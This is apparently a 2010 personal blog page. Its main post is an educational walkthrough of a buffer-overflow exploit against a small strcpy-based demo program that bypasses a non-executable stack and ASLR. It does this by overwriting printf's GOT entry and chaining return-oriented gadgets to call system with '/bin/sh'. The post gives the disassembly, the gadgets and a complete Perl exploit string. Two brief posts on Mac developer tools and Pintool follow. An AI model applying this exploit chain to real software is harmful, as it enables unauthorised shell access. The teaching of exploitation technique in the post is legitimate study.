This is a brief introduction to a cool little technique of buffer overflow exploit with the following conditions: the stack is not executable, the stack address is randomized, and the libc address is also randomized. In other words, we cannot simply use return-to-stack and return-to-libc.

A vulnerable program that I am going to use is a modified version of gera's in [1]. Here, we do not have stack canary protection, but I am going to make it much harder by modifying the code a little bit: adding an exit system call, and employing stack and libc address randomization (ASLR). The modified version is shown below:

  1. #include <string.h>
  2. #include <stdlib.h>
  3. #include <stdio.h>
  4.  
  5. int func(char *msg) {
  6.     char buf[80];
  7.  
  8.     strcpy(buf,msg);
  9.     buf[0] = toupper(buf[0]);
  10.     strcpy(msg,buf);
  11.     printf("Caps: %s\n",msg);
  12.     exit(1);
  13. }
  14.  
  15. int main(int argv, char** argc) {
  16.         func(argc[1]);
  17. }


1. Vulnerability
    There is a classic strcpy vulnerability in the func function. Two consecutive strcpy call enables us to write arbitrary values in an arbitrary address: first, modify the value of the msg from the first strcpy, and then write arbitrary values from the second strcpy. Note that overwriting the return address of func is not enough because it is protected with exit system call. It is more clear if you look at the disassembled version of the program:

  1. 080484b4 <func>:
  2.  80484b4:       55                      push   %ebp
  3.  80484b5:       89 e5                   mov    %esp,%ebp
  4.  80484b7:       83 ec 58                sub    $0x58,%esp
  5.  80484ba:       8b 45 08                mov    0x8(%ebp),%eax
  6.  80484bd:       89 44 24 04             mov    %eax,0x4(%esp)
  7.  80484c1:       8d 45 b0                lea    -0x50(%ebp),%eax
  8.  80484c4:       89 04 24                mov    %eax,(%esp)
  9.  80484c7:       e8 04 ff ff ff          call   80483d0 <strcpy@plt>
  10.  80484cc:       0f b6 45 b0             movzbl -0x50(%ebp),%eax
  11.  80484d0:       0f be c0                movsbl %al,%eax
  12.  80484d3:       89 04 24                mov    %eax,(%esp)
  13.  80484d6:       e8 d5 fe ff ff          call   80483b0 <toupper@plt>
  14.  80484db:       88 45 b0                mov    %al,-0x50(%ebp)
  15.  80484de:       8d 45 b0                lea    -0x50(%ebp),%eax
  16.  80484e1:       89 44 24 04             mov    %eax,0x4(%esp)
  17.  80484e5:       8b 45 08                mov    0x8(%ebp),%eax
  18.  80484e8:       89 04 24                mov    %eax,(%esp)
  19.  80484eb:       e8 e0 fe ff ff          call   80483d0 <strcpy@plt>
  20.  80484f0:       8b 45 08                mov    0x8(%ebp),%eax
  21.  80484f3:       89 44 24 04             mov    %eax,0x4(%esp)
  22.  80484f7:       c7 04 24 00 86 04 08    movl   $0x8048600,(%esp)
  23.  80484fe:       e8 dd fe ff ff          call   80483e0 <printf@plt>
  24.  8048503:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
  25.  804850a:       e8 e1 fe ff ff          call   80483f0 <exit@plt>
  26.  
  27. 0804850f <main>:
  28.  804850f:       8d 4c 24 04             lea    0x4(%esp),%ecx
  29.  8048513:       83 e4 f0                and    $0xfffffff0,%esp
  30.  8048516:       ff 71 fc                pushl  -0x4(%ecx)
  31.  8048519:       55                      push   %ebp
  32.  804851a:       89 e5                   mov    %esp,%ebp
  33.  804851c:       51                      push   %ecx
  34.  804851d:       83 ec 14                sub    $0x14,%esp
  35.  8048520:       8b 41 04                mov    0x4(%ecx),%eax
  36.  8048523:       83 c0 04                add    $0x4,%eax
  37.  8048526:       8b 00                   mov    (%eax),%eax
  38.  8048528:       89 04 24                mov    %eax,(%esp)
  39.  804852b:       e8 84 ff ff ff          call   80484b4 <func>
  40.  8048530:       83 c4 14                add    $0x14,%esp
  41.  8048533:       59                      pop    %ecx
  42.  8048534:       5d                      pop    %ebp
  43.  8048535:       8d 61 fc                lea    -0x4(%ecx),%esp
  44.  8048538:       c3                      ret

2. Observation and Strategy
    We can only modify a single memory region, but it must not be the return address because of the exit system call. There are several possible spots including dtors and GOT. In this example, I am going to overwrite GOT entry of printf function. GOT is typically in the code section of a program and its address is not randomized.

    Now we can hijack the control flow when the printf is called, so the next step is to determine where to jump. We cannot simply return to libc because its address is randomized (we are not going to use brute force here). However, we know that the code section's addresses are fixed, and we are going to use return-oriented programming technique described introduced by Hovav [2]. In this problem, we can only use the code section of this small program, thus there is very small number of gadgets available.

   The return-oriented program that we are going to design runs as follows: 1) retrieve an address to libc's strcpy function from the GOT, 2) compute the relative address from strcpy function to system function, 3) obtain the address of the system function from the step 1 and 2, 4) set up the stack to have a pointer to "/bin/sh" string, 5) jump to the system function using indirect call (call *%eax).

3. Gadgets

    We are going to use the following 4 gadgets that we can find from the code section to perform the exploitation.

    1)
  1. 0x80485a2 <__libc_csu_init+82>: add    $0xc,%esp
  2. 0x80485a5 <__libc_csu_init+85>: pop    %ebx
  3. 0x80485a6 <__libc_csu_init+86>: pop    %esi
  4. 0x80485a7 <__libc_csu_init+87>: pop    %edi
  5. 0x80485a8 <__libc_csu_init+88>: pop    %ebp
  6. 0x80485a9 <__libc_csu_init+89>: ret

    2)
  1. 0x804838c <_init+44>:   pop    %eax
  2. 0x804838d <_init+45>:   pop    %ebx
  3. 0x804838e <_init+46>:   leave  
  4. 0x804838f <_init+47>:   ret

    3)
  1. 0x80485ce <__do_global_ctors_aux+30>:   add    0xf475fff8(%ebx),%eax
  2. 0x80485d4 <__do_global_ctors_aux+36>:   add    $0x4,%esp
  3. 0x80485d7 <__do_global_ctors_aux+39>:   pop    %ebx
  4. 0x80485d8 <__do_global_ctors_aux+40>:   pop    %ebp
  5. 0x80485d9 <__do_global_ctors_aux+41>:   ret

    4)
  1. 0x80484af <frame_dummy+31>:     call   *%eax

4. Final Exploit
     Using the above four gadgets, I introduce the following exploit. Note this exploit is not just a simple return-oriented programming exploit, there are many techniques involved:
    1) It dynamically retrieves system function's address from the GOT
    2) changes the ebp register to point to the bss section so that we can control the esp and ebp continuously.
    3) Set up the stack address to have enough space for system call.

   First, the second gadget sets up the eax and ebx values that are used in the third gadget to compute the system function's address. The result of the "add 0xf475fff8(%ebx), %eax" instruction must produce the address of system function in libc. Specifically, 0xf475fff8(%ebx) must point to the strcpy's GOT entry, so the strcpy's address in libc is added with the value in eax register.

    Changing the ebp register in the first gadget is the most tricky part. In the first gadget, we set up the ebp to point to a writable bss section (More precisely, beyond the bss section). Since the address of 0x804a2e8 is a writable region, we can set the address for ebp and esp. In the second gadget, we can set up the esp value by using the leave instruction. Thus after the second gadget, both the ebp and the esp will point to the addresses of the bss section.

    The final exploit in perl is shown below:

  1. print "\xa2\x85\x04\x08" . # First Gadget
  2. "AAAAAAAA" . # dummy
  3. "\xe8\xa2\x04\x08" . # set ebp, poing to line 9 of this exploit string
  4. "\x8c\x83\x04\x08" . # Second gadget
  5. "\xc0\x52\xfc\xff" ."\x14\xa0\x8e\x13AAAA" . "/bin/sh;"  . "A"x48 .
  6. "\x10\xa0\x04\x08" . # GOT entry address of printf
  7. "\x30\xa0\x04\x08"x0xa0 . # dummy
  8. "\xce\x85\x04\x08" .
  9. "\x30\xa0\x04\x08"x0x2 . # dummy
  10. "\x30\xa0\x04\x08" . # dummy ebp
  11. "\xaf\x84\x04\x08" . # call *%eax
  12. "\x30\xa0\x04\x08";

I also attach the binary file for people who are interested. :)
(Download)

5. Conclusion
    There are many possible way of bypassing ASLR protections. Here, I present a way to exploit the return-oriented programming technique in a very limited environment: small code space, randomized stack and randomized libc.
2010/05/05 22:06 2010/05/05 22:06
Posted by 차상길.

omg...
I just realized that there are amazing apps in my Mac by default. (if you installed xcode)

Launch your terminal, and run this...
open /Library/Application\ Support/Shark/Helpers/
사용자 삽입 이미지

Seriously, this is why Mac is awesome.

reference:
http://rentzsch.com/macosx/readISAReferencesDirectly
2010/02/24 23:02 2010/02/24 23:02
Posted by 차상길.

pintool

2010/02/20 01:07 / Hacking
I started to use Pintool nowadays. Pintool is an awesome instrumentation tool for x86 and ARM.
By the way, what is instrumentation then?

Let's consider the two-line binary as below.
xor eax, eax
push eax
Okay, now we want to do something with this binary: count the number of instruction, print out binary code for each instruction, and so forth. We call this kind of job as "instrumentation". We can even do instrumentation in a basic block level, or a function level.

Now I say that this can be a powerful tool for hacking as well.

About 40~50 pages of manual is really intuitive. You can easily understand how to use it.
http://www.pintool.org/docs/31933/Pin/html/
2010/02/20 01:07 2010/02/20 01:07
Posted by 차상길.